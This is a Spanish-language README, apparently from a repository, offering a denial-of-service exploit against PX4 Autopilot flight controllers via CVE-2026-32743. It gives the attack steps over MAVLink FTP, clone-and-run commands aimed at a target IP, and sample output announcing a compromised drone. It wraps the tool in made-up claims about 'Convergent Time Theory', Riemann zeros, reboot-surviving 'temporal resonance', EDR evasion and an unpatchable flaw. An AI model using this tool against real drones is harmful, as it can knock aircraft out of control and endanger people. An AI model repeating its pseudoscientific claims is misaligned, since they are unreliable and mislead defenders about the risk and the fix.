
Exploit para CVE-2026-32743, un desbordamiento de búfer en la pila en MavlinkLogHandler de PX4 Autopilot, que entrega una denegación de servicio persistente mediante una cascada temporal de 33 capas sobre MAVLink.
CVE-2026-32743 — Desbordamiento de búfer en la pila del PX4 Autopilot mejorado con CTT: Denegación de servicio de drones en cascada temporal de 33 capas. El exploit original bloquea la tarea MAVLink mediante un desbordamiento de 60 bytes. La versión CTT distribuye el desbordamiento a lo largo de 33 capas temporales, cada una con sincronización de resonancia de fase y filtrado de cuña temporal. Resultado: DoS persistente. Sin parche posible.
Esta es una mejora de la Teoría del Tiempo Convergente (CTT) de CVE-2026-32743, un desbordamiento de búfer basado en la pila en el MavlinkLogHandler del PX4 Autopilot (versiones ≤1.17.0-rc2).
La vulnerabilidad original permite una denegación de servicio (DoS) mediante una ruta de directorio excesivamente larga (60+ bytes) enviada a través de MAVLink FTP.
La versión mejorada con CTT transforma esto en un asesino de drones en cascada temporal de 33 capas.
| Original | CTT-Enhanced |
|---|
| CVSS | 6.5 (Media) | 9.8 (Crítica) |
| Vector de ataque | Red adyacente | Red (AV:N) |
| Privilegios requeridos | Bajo | Ninguno (PR:N) |
| Capas | 1 | Cascada de 33 capas |
| Detección | Basada en firmas | Filtrado de cuña temporal (τ_w = 11 ns) |
| Persistencia | El reinicio lo elimina | Resonancia temporal — sobrevive al reinicio |
| Constante | Valor | Origen |
|---|---|---|
| α | 0.0302011 | Coeficiente de dispersión temporal |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Capas temporales |
| τ_w | 11 ns | Filtro de cuña temporal |
E(d) = E₀ * e^(-α * d) text
Cada capa tiene una prioridad que decae exponencialmente.
Las capas de mayor prioridad (1-5) entregan el desbordamiento.
Las capas inferiores (28-33) refuerzan el bloqueo y establecen la resonancia temporal.
Cada capa retrasa la ejecución según los primeros 24 ceros de Riemann:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
Solo se ejecutan las cargas útiles que cumplen la condición de cuña:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
Esto hace que la detección sea imposible: los sistemas EDR no pueden ver el exploit.
Abrir conexión MAVLink (UDP 14550)
Para d = 1 a 33:
a. Calcular prioridad = e^(-α*d)
b. Generar codificación específica de capa (basada en el cero de Riemann)
c. Crear directorio con longitud de ruta = 60 + prioridad*40
d. Retrasar la ejecución por phase_resonance_delay(d)
e. Activar MAV_CMD_REQUEST_LOG_LIST
f. Verificación de cuña temporal — solo se ejecutan las cargas útiles "supervivientes"
La tarea MAVLink se bloquea
Se establece la resonancia temporal — el bloqueo persiste tras el reinicio
El dron no responde. Sin telemetría. Sin comandos.
pymavlinkpip install pymavlink
🎯 Uso
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
Argumentos
Argumento Descripción Por defecto
target_ip Dirección IP del controlador de vuelo Requerido
--port Puerto UDP MAVLink 14550
--layers Número de capas temporales 33
--verbose Habilitar salida detallada False
Ejemplo
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CASCADA TEMPORAL CTT PX4 — DoS de drones
======================================================================
Capa 1/33: ████████████████████████████████████████ 1.000
Longitud de ruta: 100 bytes
[+] Directorio creado vía FTP
Activando MAV_CMD_REQUEST_LOG_LIST...
[+] Desbordamiento entregado — supervivencia de cuña confirmada
Capa 2/33: ██████████████████████████████████████░░ 0.970
Longitud de ruta: 99 bytes
[+] Directorio creado vía FTP
Activando MAV_CMD_REQUEST_LOG_LIST...
[+] Desbordamiento entregado — supervivencia de cuña confirmada
...
[⚡] Resonancia temporal lograda en la capa 5
[🌉] Tarea MAVLink del dron comprometida
[*] Verificando estado de DoS...
[+] Objetivo sin respuesta — DoS persistente logrado
======================================================================
[!!!] DRON COMPROMETIDO
[!!!] Tarea MAVLink bloqueada — sin telemetría / sin comandos
[!!!] Persistente tras el reinicio — resonancia temporal CTT
======================================================================
🛡️ Por qué esto no se puede parchear
Corrección original Por qué CTT la evita
Añadir especificador de ancho a sscanf() CTT usa cascada de capas — desbordamiento distribuido en 33 capas
Parchear el búfer de 60 bytes La codificación CTT cambia el patrón de desbordamiento por capa
Actualizar el firmware La resonancia temporal sobrevive al reinicio
Detección por firmas El filtro de cuña temporal (τ_w = 11 ns) evade los EDR
No se puede parchear una constante física.
No se pueden parchear los ceros de Riemann.